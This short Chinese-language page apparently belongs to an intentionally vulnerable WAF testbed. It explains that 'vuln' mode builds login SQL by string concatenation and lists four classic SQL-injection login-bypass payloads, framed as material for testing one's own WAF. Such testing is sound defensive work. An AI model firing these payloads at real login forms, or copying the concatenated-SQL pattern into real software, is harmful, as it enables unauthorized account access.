登录绕过 (认证 SQLi)
vuln 模式下用户名和密码直接拼进 SQL,可用万能密码绕过。
测试 payload(用户名填):
admin' -- -
' OR '1'='1
' OR 1=1 LIMIT 1 -- -
admin'/*
本靶场仅用于测试 你自己的 WAF(Cloudflare / JANUSEC 派生)的拦截与告警能力。 请只在你拥有或获得书面授权的环境中使用。
切换模式:环境变量 WAF_TESTBED_MODE=vuln(默认,含漏洞) 或 safe(加固对照组)。